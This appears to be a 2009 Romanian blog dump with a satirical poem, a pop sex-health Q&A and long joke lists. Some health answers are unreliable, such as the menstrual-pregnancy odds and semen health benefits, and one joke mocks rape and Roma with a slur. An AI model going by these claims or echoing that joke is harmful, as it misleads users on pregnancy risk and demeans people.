În obştea maimuţească vreun cocotier privat,
Nici garduri şi nici paznici, nici pui murind de foame
Sau omorâţi, în pântec, de aşa-zise mame.
Urmând calea cea bună şi, evident, corectă,
Adolescenţii noştri părinţii şi-i respectă.
În ierarhia noastră, cum e firesc şi drept,
Devine şef acela viteaz, agil, deştept,
Capabil viaţa obştei s-o ţină, s-o păzească,
De rele şi primejdii turma să şi-o ferească.
Adesea şeful nostru îşi riscă mândra blană,
Ca turmei să-i găsească loc de dormit şi hrană.
Pe când, priviţi!, la oameni, ferească Domnul sfânt!
Şefi sunt cei fără suflet şi fără de cuvânt,
Corupţi, vicleni, jigodii, cu gura cât mai mare,
Nebuni după putere şi după bunăstare!
De turma lor n-au grijă nici cât un bob de mei,
Contează doar averea şi înmulţirea ei.
Nu veţi vedea vreodată, cât soarele şi luna,
O minte de maimuţă dospind în ea minciuna.
La om, tot ce înseamnă minciună, intrigi, ură
Sunt legi de referinţă, a doua lui natură.
Chiar dac-aş fi silită de vreun laborator,
N-aş deveni vreun Iuda ori vreun informator..
Şi iată înc-un lucru din lumea mea, frumos:
La noi nu se întâmplă război religios,
Nici sfinte inchiziţii, nici libertăţi în lanţuri,
Nici chefuri după care să ne culcăm prin şanţuri,
Nici ordine mondială, şi nici naţionalism,
Şi nici vreo îndoială ce-aduce-a ateism.
E-adevărat că omul, acest biped gunoi,
Arată ca maimuţa, dar n-a descins din noi!

Sexul este uneori dureros. De ce?

2009-10-31T18:23:00.001+02:00

Sexul este uneori dureros. De ce?

Cauzele sunt multiple, iar cea mai "populara" este insuficienta lubrifierii vaginului, pentru care exista diverse adjuvante comerciale: uleiuri, creme. In rest, poate fi vorba de inflamatii, chisturi sau alte probleme care necesita control medical.

Daca faci sex neprotejat in timpul menstruatiei, poti ramane gravida?

2009-10-31T18:22:00.001+02:00

Daca faci sex neprotejat in timpul menstruatiei, poti ramane gravida?

De un milion de ori, nu... prea! Sansele sunt reduse, la modul ca al un milion unu-lea raspuns, ar putea fi "da" – 80% dintre sarcini apar la o distanta de 6 zile de la incetarea ciclului, iar sperma poate ramane activa in vagin sau in uter aproape 5 zile. Cu toate acestea, nu este recomandat sexul in timpul menstruatiei, odata pentru ca este neplacut si apoi pentru ca se mareste probabilitatea contactarii unor virusuri.

Este posibila fracturarea/ruperea penisului?

2009-10-31T18:16:00.003+02:00

Este posibila fracturarea/ruperea penisului?

Da, se poate intampla asta, desi nu exista vreun os in penis. Dar, sa fim seriosi, iti dai seama cum ar trebui sa fie o partida de sex, pentru a se ajunge la asa ceva?! "Cru(d)elle", vorba cuiva…

Se poate pierde un obiect in vagin? Ce se intampla in acest caz?

2009-10-31T18:16:00.002+02:00

Se poate pierde un obiect in vagin? Ce se intampla in acest caz?
Nu exista o alta cale de iesire a ceea ce intra prin vagin, asa incat orice intra trebuie sa si iasa prin acelasi loc. Pentru un raspuns afirmativ, totusi, intrebarea ar fi daca se poate bloca ceva in vagin.

Cand se intampla asta este pentru ca muschii pelvisului se contracta, inchizand iesirea. Oricum, e temporar! Daca insa "se pierde" un prezervativ inauntru, sansele de a ramane gravida cresc considerabil, la fel si posibilitatea contactarii BTS.

Vestea buna ramane ca… obiectul nu are unde sa se duca, asa ca foloseste-ti degraba degetele si rezolva problema. Daca nu reusesti, un medic te va ajuta cu siguranta

Ce se petrece in organism cand iei anticonceptionale?

2009-10-31T18:16:00.001+02:00

Ce se petrece in organism cand iei anticonceptionale?

Anticonceptionalele nu inseamna altceva pentru organism, decat simularea sarcinii – evident, cu diverse efecte secundare, care pot sau nu sa se manifeste intens.

Ovulatia nu inceteaza neaparat, insa ovulele nu pot fi fecundate si sunt resorbite de organism. Exista peste 20 de marci de contraceptive orale pe piata si trebuie sa te informezi, pentru a afla care ti se potriveste (pilula monofazica, pilula trifazica, minipilula).

Exista ejaculare feminina?

2009-10-31T18:16:00.000+02:00

Exista ejaculare feminina?
Cei care practica sexul tantric pretind ca 40% dintre femei pot ejacula, in sensul ca elibereaza prin uretra un lichid asemanator spermei, care ar fi semnul orgasmului obtinut prin stimularea punctului G.

Risc infectare HIV

2009-10-31T18:13:00.000+02:00

Exista riscul infestarii cu virusul HIV, in cazul sexului oral?
Desi sunt rare situatiile, da, exista aceasta posibilitate infima. E vorba despre cazurile in care, acolo unde a avut loc ejacularea, exista zgarieturi sau orice fel de rana prin care virusul ar putea intra in contact cu sangele. Sunt si alte BTS, care se transmit in acelasi mod

Sperma ingrasa?

2009-10-31T18:12:00.000+02:00

3. Sperma ingrasa?

Vezi sa nu! Zilnic daca ai inghiti si nu ai castiga mai mult de 25 kJ. Ba mai mult, potrivit unor studii, o portie zilnica de lichid seminal este bine venita pentru sanatatea ta, gratie cantitatii de zinc pe care o contine. E oare de adaugat la dieta?

Lung sau gros?

2009-10-31T18:11:00.000+02:00

2. Lung sau gros?

La intrarea in vagin se afla o multime de terminatii nervoase. Prin urmare, e clar: penisul ideal ar trebui sa fie scurt si gros. Totusi, daca te gandesti ca asta contravine ideii de stimulare a punctului G, acesta nu se afla mai departe de 5 cm de intrarea in vagin, asa ca… ramane valabila formula "scurt si gros".

Dimensiuni penis

2009-10-31T18:06:00.005+02:00

1. Ce dimensiune are in mod normal un penis?

In pozitia erecta fiind cam de aceeasi dimensiune (cca. 15 cm), marimea lor variaza atunci cand nu sunt in erectie. Cu toate acestea, exceptia confirma regula: cel mai mare penis, potrivit unor rapoarte medicale, masoara 33,5 cm si are un diametru de 15
cm

Sex fara prezervativ

2009-10-31T18:06:00.004+02:00

4.Credeti ca este indicat sexul fara prezervativ?

Cea mai frumoasa partida

2009-10-31T18:06:00.003+02:00

3.Care a fost cea mai frumoasa partida de sex?(descrieti)

Prima oara

2009-10-31T18:06:00.002+02:00

2.Cand ati facut prima oara sex?

Virginitate

2009-10-31T18:06:00.001+02:00

1.Inca mai sunteti virgini?

Sex

2009-10-31T18:00:00.003+02:00

1.Inca mai sunteti virgini?
2.Cand ati facut prima oara sex?
3.Care a fost cea mai frumoasa partida de sex?(descrieti)
4.Credeti ca este indicat sexul fara prezervativ?
5.Ce dimensiune are in mod normal un penis?
6.Lung sau gros?
7.Sperma ingrasa?
8.Exista riscul infestarii cu virusul HIV, in cazul sexului oral?
9.Sexul este uneori dureros. De ce?
10.Daca faci sex neprotejat in timpul menstruatiei, poti ramane gravida?
11.Este posibila fracturarea/ruperea penisului?12.Se poate pierde un obiect in vagin? Ce se intampla in acest caz?
13.Ce se petrece in organism cand iei anticonceptionale?

Betivi

2009-10-31T17:47:00.000+02:00

1. Un beţiv povesteşte altui beţiv:
- Şi, cum mă duceam liniştit spre casă, deodată simt că cineva mă calcă pe mînă!

2. Un copil găseşte un om în şanţ, beat mort.
- Da', nene, de ce n-ai băut atîta cît să-ţi cadă bine?
- Pentru că n-am avut bani destui.

3. Care este leguma cu cea mai mare concentraţie de alcool? Mazărea borîtă pe perete.

4. Un tip stătea în barul unui hotel şi vede o tipă mişto la o altă masă. Cheamă chelnerul şi îi spune să o invite la masă la el. Chelnerul se întoarce:
- Domnişoara a zis că nu poate să vină fiindcă ca are proteze noi la picioare şi îi scîrţîie, dar poate vreţi să mergeţi dv. la masa ei!
Tipul se duce, stau de vorbă şi la sfîrşit o invită în camera lui de hotel. Tipa refuză tot pe motiv că-i scîrţîie protezele şi-l invită în tufişuri. Merg în tufişuri, tipul îi ia picioarele la subraţ şi începe să o f**ă.
Doi beţivi mai încolo:
- Ia uite, bă! Ăla e mai beat decît noi: f**e o roabă!

5. - Ai promis că te vei lăsa de băutură şi vei deveni un alt om!
- Aşa am şi făcut. Numai că şi omului aceluia îi place să bea.

6. Trei inşi, beţi turtă, merg în patru labe, unul după altul, pe calea ferată.
- Nu se mai termină odată scara asta? se plînge cel din coadă.
- Măcar are balustradă, oftează al doilea.
- Ura! băieţi, vine liftul, strigă cel din faţă.

7. - Te învăţ eu ce să faci dacă nu poţi dormi: ia cîteva pahare de coniac.
- Cîte?
- Nu trebuie să le numeri. Pînă adormi.
- Şi dacă tot nu adorm?
- Păi, după atîtea pahare de coniac, puţin îţi mai pasă dacă dormi sau nu!

8. Un tip se îmbată la petrecerea lu' şefu' şi a doua dimineaţă vorbea cu nevastă-sa:
- Ca de obicei, te-ai îmbătat turtă şi te-ai făcut de c***t în faţa şefului.
- Să mă p*ş pe el.
- Asta ai făcut aseară şi te-a dat afară.
- Atunci să mă f*t pe el.
- L-am f***t eu şi mîine dimineaţă te poţi duce la servici.

9. Un tip intră într-un bar.
- Un whisky sau fac ce-a făcut tata...
Barmanul, speriat, îi dă un whisky. A doua zi, la fel. A treia zi, barmanul îşi ia inima-n dinţi şi întreabă:
- Dar ce-a făcut tatăl dv.?
- S-a dus la un alt bar.

10. Unul beat reazemă un felinar. Altul, tot beat, arătînd felinarul, îl întreabă:
- Ce-i asta, domnule? Luna sau soarele?
- Nu ştiu, dom'le, că eu nu-s de prin partea locului...

11. După miezul nopţii, sună cineva la uşă. Bubulina se duce somnoroasă să deschidă. În faţa uşii erau patru bărbaţi, beţi criţă.
- Stimată doamnă, noi am venit să-l conducem pe soţul dv. pînă acasă, dar nu ştim care dintre noi este...

12. După o masă bine stropită, la plecarea musafirilor:
- Unchiule Mitică, degeaba încerci să te încalţi cu sifonul, ia mai bine galoşul!

13. Un beţiv vede un şofer care încearcă să-şi pornească maşina dînd la manivelă.
- Aha! Tu eşti ăla de învarte strada!

14. Un beţiv iese din bar şi se împiedică de o piatră şi cade. Apoi se ridică, însă iar cade. Supărat, spune:
- Dacă ştiam că o să cad iar, nu mă mai ridicam!

15. Un supărat intră într-un bar:
- Care vrea bătaie?
Toată lumea terorizată. În sfîrşit, se ridică un tip de 2 m pe 2 m şi mai supărat decît primul şi spune:
- Eu!
- Ei, atunci du-te după colţ, că de acolo am luat şi eu!

16. De ce alcoolul la volan este periculos pentru un bărbat însurat? Cînd e beat, bărbatul trebuie să-i dea cheile maşinii nevestei.

17. Soţia către soţ la petrecerea de Revelion:
- Bravo, Mitică! Mai cîntă vreo 3-4 cîntece!
- De ce să mai cînt că m-am săturat!?
- Cîntă! Cînd cînţi, nu bei!

18. Eşti beţiv atunci cînd:
1. Ai discuţii în contradictoriu cu obiectele din jur şi mai şi pierzi.
2. Trebuie să te ţii de asfalt ca să nu cazi de pe trotuar.
3. Serviciul te împiedică să bei destul.
4. Doctorul tau găseşte sînge în alcool la analize.
5. Scaunul de la WC se loveşte repetat şi cu înverşunare de capul tău.
6. Ajungi să crezi că alcoolul e una dintre grupele de alimente.
7. 24 de ore pe zi, 24 de beri într-o ladă - coincidenţă? S-o crezi tu!
8. Două mîini şi doar o gură - asta chiar că e o problemă cu băutura.
9. Vezi mai bine dacă ţii un ochi închis.
10. Nenorocita aia de parcare s-a mutat mai încolo cît erai tu în cîrciumă.
11. Cazi de pe podea.
12. Pe băieţii tăi îi cheamă Tuborg şi Heineken.
13. Auzi, ştii ce, dă-o-ncolo de masă de seară, 5 beri fac cît o friptură cu cartofi prăjiţi.
14. Ţînţarii încep să zboare aiurea după ce te-nţeapă pe tine.
15. Te trezeşti în dormitor, chiloţii sînt în baie, adormi îmbrăcat...
16. Toată cîrciuma te salută cînd intri înăuntru.
17. Ai impresia că cele patru grupe de alimente sînt cofeina, nicotina, alcoolul şi femeile.
18. Pisica vecinului devine tot mai apetisantă, pe zi ce trece.
19. Zoe Petre arată bine.
20. Nu-ţi recunoşti nevasta decît dacă te uiţi la ea printr-un fund de pahar.
21. Bestia aia de elefănţel roz iar te-a urmărit pîn-acasă.

19. Un poliţist îşi făcea rondul de noapte, cînd aude un beţiv cîntînd:
- Lume, lume, soro lume...
Poliţaiul zise:
- Bă, beţivule, nu mai cînta cîntece de-astea, cîntă şi tu un cîntec patriotic.
- Bine, dom'le. Trei culori cunosc pe lume, lume, soro, lume...

20. O gagică mergea noaptea pe o stradă de la periferie. La un moment dat, apar nişte ţigani care o violează. Şi, ca să nu plece cu mîna goală, îi iau şi hainele. Ea, ce să facă, se bagă într-un boschet şi aşteaptă. După un timp, apare un poliţist. Gagica îi povesteşte ce şi cum şi îl roagă să-i dea ceva să se acopere, ca să poată ajunge acasă. Poliţistul îi dă şapca. Ea, ce să facă, ia şapca şi încearcă să acopere cît poate în zona punctului de interes. Apoi pleacă. Pe stradă, se întîlneşte cu doi beţivi. Se uită ei bine la ea:
- Bă, să ştii că ăla e poliţistul pe care l-am băgat noi în p***a mă-sii!

21. Alcoolul este cel mai mare duşman al omului! Dar să nu uităm că cel care fuge din faţa duşmanului e un laş!

22. La restaurantul gării, la o masă, trei indivizi se cinstesc cu bere. Un rînd, altul, se anunţă plecarea trenului spre X. Unul zice:
- Hai să mergem că pleacă trenul. Ceilalţi mai cer un rînd şi încă unul, trenul şuieră şi pleacă. Cei trei se îmbulzesc, care să ia bagajele şi fug după tren; unul se urcă, îi încurajează şi pe ceilalţi, mai prind unul bara vagonului, se suie, strigă, trenul ia viteză, al treilea se opreşte pe peron, respiră şi începe să rîdă. Şi râde, şi rîde de nu se mai poate opri. Un trecător îl întreabă:
- De ce rîzi omule, ai pierdut trenul şi celălalt este peste 7 ore.
- Cum să nu rîd, cînd cei din tren au venit doar ca să mă conducă la gară.

23. Un tip la un bar, mort de beat, cu paharul in faţă, plîngea de rupea pământul. Văzându-l aşa de dezamăgit, barmanul îl întreabă:
- Dar ce s-a întâmplat?
- Păi, acum trei luni, a murit mama şi mi-a lăsat 10.000$...
- Condoleanţele mele...
- Acum două luni, a murit tata şi mi-a lăsat 25.000$...
- Îmi pare rău, domnule, foarte rău...
- Luna trecută a murit frate-meu şi mi-a lăsat 50.000$...
- Vai, trei persoane dragi, în aşa scurt timp...
- Şi luna asta nu mai pică nimic... nimic... fir-ar să fie…

24. Trei tipi rupţi de beţi la o masă:.
- Bă, io-s trimisul lui Dumnezeu pe pămînt!
- Taci, mă, că io-s trimisul lui Dumnezeu pe pămînt!
- Tăceţi, bă, că n-am trimis pe nimeni!

25. Un beţiv mergea pe şapte cărări spre casă. La un moment dat, îl vede pe unul care închidea un robinet. Se duce supărat spre el şi-i zice:
- Tu învîrteai, bă, strada?!

26. Puţin după miezul nopţii, un beţiv se învîrtea în jurul unui stîlp. Un poliţist, care îşi făcea rondul de noapte, se apropie de el şi îl întreabă ce face, la care beţivul îi zice că îşi caută cheile. Aşadar, se pun amîndoi pe căutat. După o vreme, căutînd în zadar, poliţistul îl întreabă pe om dacă e
sigur că le-a pierdut acolo, iar acesta îi răspunde:
- De fapt, le-am pierdut la stîlpul celălalt, dar aici e lumină…

27. Un beţiv mergea pe stradă. La un moment dat, se opreşte în faţa unui panou publicitar. Se uită... se uită... şi zice:
- La viaţa mea, beţi criţă am văzut, beţi morţi am văzut, dar beti pepsi niciodată.

28. Doi beţivi ies din cîrciumă şi se duc la un boschet.
- De ce la tine face p*ş-p*ş şi la mine fîş-fîş?
- Pentru că te pişi pe fîşul meu!

29. Doi beţivi ies dintr-un bar. Unul din ei vede un cîine care-şi lingea c****le. Atunci beţivul zice:
- Ce n-aş da şi eu să pot face asta…
Celălat beţiv spune:
- … hîc ...hîc.. dacă-i dai un biscuite cred că te lasă şi pe tine…

30. Un betiv iese împleticindu-se dintr-o crîşmă şi se ciocneşte de o prostituată.
- Ce faci, fă?
- Fac trotuarul, ce… nu se vede?
- Păi atunci fă-l… hîc… mai lat!

31. Se consideră o turmă de bizoni a cărei viteză este egală, evident, cu viteza celui mai lent bizon. Vînătorii, de orice natură, vînează cei mai lenţi bizoni, făcînd prin aceasta un bine turmei, a cărei viteză de daplasare va creşte.
Analog, creierul uman lucrează cu viteza celui mai lent neuron. Se ştie că alcoolul distruge neuronii, dar îi distruge pe cei mai lenţi, deci…

32. Un beţiv care abia mai mergea vede o groapă destul de mare. Se apleacă şi strigă:
- Du-te naibii! şi încearcă să audă ecoul, dar nimic.
A doua zi... la fel. A treia zi, cînd vrea să se aplece să strige, pică în groapă şi începe să strige:
- Ajutor! Ajutor!
Şi ecoul:
- Du-te naibii!

33. Doi beţivi se plimbă. La un moment dat, ajung lîngă un rîu.
Unul dintre ei zice:
- Bă, sari tu primu'.
Al doilea betiv sare. Cade pe o şosea şi zice :
- Bă, rîu' ăsta-i îngheţat!

34. Un individ vine dimineaţa pe la 5 acasă. Intră tiptil în camera unde dormea soţia şi dă să-şi scoată pantalonii.
- Beţivule, iar vii la ora asta acasă?
- Nu, dragă, zice omul trăgîndu-şi pantalonii la loc, acuma plec.

35. Un beţiv urcă în tramvai şi zice:
- Toate femeile alea din dreapta sînt nişte curve… celelalte femei din stînga sînt nişte proaste...
O femeie revoltata din rîndul din dreapta spune:
- Cum, domnule, eu sînt curvă?
Betzivul:
- Bine, bine, treci în stînga…

36. Un beţiv mergea pe stradă într-o seară întunecoasă şi la un moment dat se loveşte de un stîlp de beton. Disperat, beţivul înconjoară stîlpul, pipăindu-l cu palmele, şi strigă:
- Ajutor, am fost zidit!

37. - Nu po's'nţeleg de ce am fost adus la pol... poliţie! exclamă un beţiv, plin de indignare.
- Pentru băutură! îi răspunde ofiţerul de serviciu.
- Păi de ce nu zici aşa? Adu-mi un coniac!

38. Un cowboy jigărit intră într-un bar şi comandă un whisky. Barmanul rîde de el şi-l dă afară. Se repetă scena de vreo cîteva ori, pînă vine un alt cowboy îmbrăcat bine, cu pistoale lucioase, distruge barul, trage în clienti şi comandă un whisky. Barmanul, de frică, îi dă. După aceea, intră şi jigăritul în bar:
- Dă-mi şi mie un whisky!
- Nu vezi în ce hal arăţi?
- Da' ăluia de ce i-ai dat?
- Păi, bă, ăla s-a dat în spectacol, a împuşcat oameni.
Atunci jigăritul scoate pistolul şi trage un foc în tavan.
- Na, ce-ai făcut, ai tras în tavan!
- Ei, vezi tu ţînţarul ăla, crezi că mai are c***e?

Barbati si Femei

2009-10-31T17:46:00.000+02:00

1. Un bărbat merge cu liftul. La un moment dat, intră o femeie. După două etaje, femeia opreşte liftul, se uită cochet la el, îşi dezbracă bluza şi sutienul şi le aruncă pe jos.
- Hai, fă-mă ca să mă simt ca o femeie.
Bărbatul se gîndeşte puţin, îşi dezbracă cămaşa, o aruncă pe jos şi spune:
- Hai, spal-o şi calc-o.

2. Dialog în pat:
- Dragul meu, tu mă iubeşti?
- Da' tu ce crezi că fac aici? Flotări?

3. Auzind despre gravitatea îmbolnăvirii cu SIDA, un tînăr de 20 de ani îşi întreabă tatăl despre modul în care se poate lua SIDA. Răspunsul tatălui:
- Păi prin contact sexual şi prin mucoasă...
- Auzi, da' de la o mucoasă de 16 ani poţi lua SIDA?

4. Un bărbat la librărie către vînzătoare:
- Aş dori cartea cu titlul "Superioritatea bărbatului faţă de femeie"!
- Utopie şi SF-uri la etajul 1, vă rog!

5. La Oficiul de Emigrare, secretara către un solicitant:
- Sexul?
- De trei ori pe săptămînă.
- Nu, nu, mă refer la: masculin sau feminin?
- Nu contează.

6. Ce ar fi lumea fără bărbaţi? Plină de femei libere, fericite şi... grase.

7. Directorul îi spune secretarei sale:
- Claudia, ai puţin timp? Aş dori să discutăm problema măririi salariului tău...
- Şefule, dar pe tema aceasta ne-am f***t deja de 5 ori!trimite unui prieten | (Jaromir Novak) | (117 voturi)

8. - Ieri am omorît cinci muşte - trei masculi şi două femele.
- Cum ai ştiut care sînt masculi şi care femele?
- Simplu: trei s-au aşezat pe o ladă de bere şi două pe un telefon.

9. Doi bebeluşi la creşă:
- Tu ce eşti, băiat sau fată?
- Băiat.
- Dar de unde ştii?
- Dacă iese infirmiera îţi arăt.
Iese infirmiera, la care acesta îşi ridică păturica:
- Uite, am şosetuţe albastre.

10. O femeie către un bărbat la o petrecere:
- Dumneata tare semeni cu al treilea soţ al meu.
- Dar de cîte ori aţi fost căsătorită?
- De două ori pînă acum.

11. Se numeşte norocos un bărbat care cîştigă mai mult decît poate cheltui nevastă-sa.
Se numeşte norocoasă o femeie care găseşte un astfel de bărbat.

12. O femeie dă un anunţ la ziar:
Schimb bărbat înaltă fidelitate pe bărbat înaltă frecvenţă.

13. Şeful îşi trimite subalternul în delegaţie în Brazilia.
- Ce Brazilia? Acolo nu găseşti altceva decît fotbal şi curve!
- Ce zici? Dar nevastă-mea e din Brazilia, răspunde şeful.
- Da? Şi la care echipă a jucat?

14. Un vameş este sunat la locul de muncă şi i se spune că nevasta lui e cu un alt tip. Vameşul se urcă în JEEP şi se duce acasă. Cînd ajunge, o întreabă pe soţie:
- Unde-i fraieru' ăla?
- Cine?
Vameşul începe şi caută. Mai întîi se uită sub pat.
- Nu-i nimeni.
Apoi caută în bucătărie:
- Nimeni.
Apoi caută în dulap. Acolo stătea un tip cu 100 de mărci în mînă. Vameşul ia banii şi zice:
- Nimeni...

15. - Ce să fac pentru ca soţia mea să nu rămînă însărcinată?
- Urcaţi pe dreapta, coborîţi pe stînga.
Întrebare suplimentară.
- Am urcat pe dreapta, am coborît pe stînga şi soţia mea a rămas însărcinată. De ce?
- Nu v-am spus să zăboviţi în mijloc.

16. Un tip se duce la o vrăjitoare vestită pentru puterea sa de a dezlega blesteme. Cînd îl vede aşa amărît, vrăjitoarea îi spune:
- Ei, acum, ca să te pot dezlega de blestem, trebuie să-mi spui exact cuvintele care te-au legat.
- "Vă declar soţ şi soţie."

17. Ce a spus Dumnezeu după ce a creat bărbatul? Ce naiba, pot să fac şi mai bine.

18. Bărbatul către Dumnezeu:
- De ce ai făcut femeia să fie aşa frumoasă?
- Ca să o iubeşti.
- Dar de ce ai făcut-o aşa proastă?
- Ca să te iubească şi ea pe tine.

19. Căsătoria serveşte la partajarea problemelor pe care nu le-ai fi avut niciodată dacă ai fi rămas singur.

Bancuri Noi

2009-10-31T17:43:00.002+02:00

1. Becalisme:
- Gigi Becali nu face flotări, le cumpără gata făcute.
- Dacă tu ai 1 leu şi Gigi Becali are 1 leu, atunci Gigi Becali are mai mulţi bani decât tine.
- Gigi Becali nu o să ajungă în Rai pentru că a fost deja acolo şi nu i-a plăcut.
- Dacă ai o prietenă, înseamnă că Gigi Becali nu a mai avut chef de ea.
- Unele persoane poartă pijamale cu SuperMan. SuperMan poartă pijamale cu Gigi Becali.
- Gigi Becali nu se spală pe dinţi. Dinţii lui spală periuţa de dinţi.
- Gigi Becali poate să împartă la 0.
- Gigi Becali donează mereu sînge la Crucea Roşie. Dar nu e niciodată al lui.
- Timpul nu aşteaptă pe nimeni, decît dacă e Gigi Becali.
- Dumnezeu plăteşte drepturi de autor lui Gigi Becali pentru Biblie.
- Gigi Becali nu poartă ceas. El decide ce oră să fie.
- Doar punctele de la “i” au voie să stea deasupra lui Gigi Becali.
- Gigi Becali a luat examenele înainte să le dea.
- Ca euro-parlamentar, Gigi Becali va anula Legea Gravitaţiei.
- Gigi Becali a învins soarele într-un concurs de strălucire.
- Gigi Becali are puterea financiară necesară pentru a-l plăti pe Chuck Norris să-şi dea o palmă.
- Gigi Becali a fost primul om care a elaborat teoria relativităţii, dar ca să nu pară tocilar a vîndut-o lui Einstein.
- Gigi Becali unge pîinea pe unt.
- Gigi Becali poate fisiona atomul cu mîinile goale.
- Gigi Becali poate filma HD cu Nokia 3310.
- Gigi Becali poate să deseneze un triunghi cu 4 laturi.
- Gigi Becali poate să alerge 10 km în 15 secunde, că ştie o scurtătură.
- Timpul nu trece pe lîngă Gigi Becali, Gigi aleargă pe lângă timp.
- Gigi Becali poate să dea foc la un cub de gheaţă şi să îl stingă cu benzină.
- De ce în calendarul lui Gigi Becali se trece direct de la 31 martie la 2 aprilie? Nimeni nu face mişto de Gigi Becali.
- Gigi Becali nu are acces la internet, internetul are acces la el.
- Gigi Becali poate să dea mat dintr-o singură mutare.
- Gigi Becali poate să amâne sfîrşitul lumii.
- Toate companiile de asigurări se bat să-i facă o asigurare de viaţă lui Gigi Becali pentru că el este nemuritor.
- Sunt lucruri pe care doar Gigi Becali le poate cumpăra, pentru toate celelalte există MasterCard.
- Lumea a fost făcută în urma unui proiect finanţat de Gigi Becali.
- Gigi Becali poate să apară la mai multe emisiuni TV în acelaşi timp. În direct.
- Gigi Becali a lovit odată un cal în barbă. Descendenţii acelui cal se numesc acum girafe.
- Gigi Becali a fost de 3 ori pe Lună, odată cu oile la păscut, odata cu Steaua în deplasare şi odată cu Rădoi când era mic.
- Gigi Becali a lăsat o urmă de pantof pe apă.
- Iniţial erau 8 minuni în lume. Dar Gigi Becali a declarat că preferă să ramînă modest.
- Gigi Becali poate să trântească o uşă închisă.
- Gigi Becali este capabil să lase un mesaj înainte de bipul sonor.
- Gigi Becali şi-a pierdut virginitatea înaintea tatălui sau.
- Gigi Becali a căzut de 2 ori în viaţa lui din avion: la Hiroshima şi Nagasaki.
- Gigi Becali stă cu viteza luminii.
- Gigi Becali a înecat odată un peşte.
- Doar Gigi Becali ştie să scrie cu pana care se află încă pe pasăre.
- Gigi Becali a cîştigat o partidă de şah cu un careu de aşi.
- Gigi Becali are o casă de vacanţă pe Soare.

2. O femeie la vreo 30 de ani, după ce şi-a rezolvat treburile în capitala de judeţ, voia să ajungă acum acasă şi nu mai avea bani. Se apropie de un taximetrist şi îi spune:
- Uite, tre’ s-ajung şi eu în Trescovenii de Sus, dar nu am bani... Cum ajungem acolo ne socotim noi.
- Bine, las’ că ne socotim noi pe drum!, zice taximetristul.
După vreo oră, opreşte taximetristul pe un câmp, ia o pătură din portbagaj şi o aşterne pe lucernă. Femeia, îngrijorată, îi zice:
- Vai, dar nu pot să fac asta, sunt măritată, am acasă doi copii!
- Şi ce? Şi eu sunt însurat, am femeie, am copii, dar am şi 40 de iepuri de hrănit, aşa că taci şi rupe lucerna...

3. - Alo, draga mea, ce-ţi plac mai mult, bananele sau căpşunile?
- Eşti la piaţă?
- Nu, la farmacie!

4. O planetă trece pe lîngă planeta Pămînt şi o întreabă:
- Ce mai faci, soro? Nu te-am văzut de milioane de ani!
- Nu prea bine... Ştii... mi-au ieşit Homo Sapiens...
- Nu te îngrijora, o să treacă! Am avut şi eu!

5. Ce face un cal pe o pajişte cu canabis? Paşte fericit!

6. - Bulă, ce ai vrea să îţi scrie pe cruce, după ce mori?
- Ceva simplu şi concis.
- Ca de exemplu?
- Vin imediat!

7. - Doamnă învăţătoare, să ştiţi că fiul meu nu poate veni azi la şcoală! se auzi o voce de copil.
- Dar cu cine vorbesc?
- Cu tatăl meu!

8. Culmea filmului: să nu găseşti subtitrare pentru un film porno.

9. - Ştii, s-a făcut un studiu şi oamenii ar trebui să doarmă noaptea cu geamul deschis.
- Trebuie să fii cercetător, nu?
- Nu, sînt spărgător.

10. Într-o zi, o soţie se plînge soţului:
- Dragă, sînt nemulţumită că am sînii mici.
Soţul îi răspunde:
- Ia o bucată de hîrtie igienică, freac-o între sîni şi în cîţiva ani ai să vezi că o să-ţi crească.
- De unde ştii? întreabă mirată soţia.
- Cu fundul a funcţionat, nu-i aşa?

11. La un raion de cosmetice, un bărbat complet chel o întreabă pe vînzătoare despre calităţile unui şampon de păr.
- Este ultimul tip de şampon, hidratează firul de păr, previne apariţia mătreţei, spune vînzătoarea.
- Previne despicarea vîrfului firului de păr? întreabă bărbatul.
- Desigur, v-am spus că e ultimul tip de şampon.
- Atunci, daţi-mi un flacon.
- Spuneţi-mi dacă prietena dumneavoastră are părul gras sau uscat.
- Nu-l iau pentru ea, ci pentru mine.
- ?!
- Aş mai avea o întrebare: se poate folosi şi pentru părul din nas şi din urechi?
- Desigur, dar aveti grijă că înfoaie părul şi nu o să stea frumos.
- Nici o problemă, am pieptene!

12. Un om fuge de nişte canibali, care după un timp îl prind şi unul dintre ei îi spune:
- Stai liniştit, noi sîntem vegetarieni, mîncăm numai mărul lui Adam!

13. Fetele din ziua de azi în liceu învaţă doar două litere şi două cifre: A4 şi X5, începînd cu facultatea învaţă încă două cifre şi o literă: Q7 şi X6.
Din cauza crizei financiare, începînd cu anul universitar 2009-2010, se va schimba programa la facultăţi şi se vor învăţa alte patru litere: RATB.

14. Un tip se trezeşte dimineaţa, ia ziarul de la uşă, se uită pe numerele de la loto şi vede că i-au ieşit toate cele şase. Cum avea un serviciu pe care nu îl suporta, pleacă tacticos la serviciu, intră în audienţă la şef şi îl anunţă cu satisfacţie că demisionează.
Şeful spune că e alegerea lui, îi mulţumeşte pentru cei peste 20 de ani lucraţi în firmă şi îi dă un bonus de despărţire de 200.000 de euro.
Omul, fericit nevoie mare, în drum spre loterie intră la reprezentanţa BMW şi cumpără cel mai scump model, în valoare de 200.000 de euro.
Cînd să dea banii, este anunţat că, deoarece este clientul cu nr.1.000.000, primeşte maşina gratis.
- Cînd e să ai noroc, ai noroc, zice omul bucuros că a rămas şi cu cei 200.000 de euro şi are şi BMW nou nouţ.
Trece pe la loto, ridică milioanele şi pleacă acasă.
Stă pe terasă, la o bere şi o vede pe soţia sa venind acasă, cu bicicleta. Moment în care trece pe stradă o betonieră şi o calcă.
- Asta e, zice omul, cînd e să ai noroc, ai noroc pînă la capăt!

15. Iepuraşul şi ursul mergeau prin pădure. Se întîlnesc ei cu vulpea, care se mută în casă nouă.
- Măi băieţi, nu vreţi să mă ajutaţi să mut şi eu mobila, că am să plătesc bine!
Băieţii pun mîna la treabă şi pînă la înserat termină. Vine şi momentul plăţii. Vulpea întreabă:
- Ei, acum ziceţi ce vreţi: o sticlă de vodcă sau jos chiloţeii?
Stau ei şi se gîndesc şi într-un sfîrşit ursul alege sticla de vodcă. Pleacă şi, după ce beau toată sticla, printre aburii beţiei, iepuraşul zice:
- Hîc... măi ursule... hîc, ce băiat deştept ai fost tu că... hîc... ai luat sticla de vodcă, că dacă alegeai chiloţeii ce pălăria mea făceam cu ei: mie îmi erau prea mari, ţie prea mici...

16. O blondă merge pe stradă cu maşina şi o ia pe contrasens. O opreşte un poliţist şi o întreabă:
- Ştiţi de ce v-am oprit?
La care blonda zice:
- Clar, vrei să ieşi cu mine!

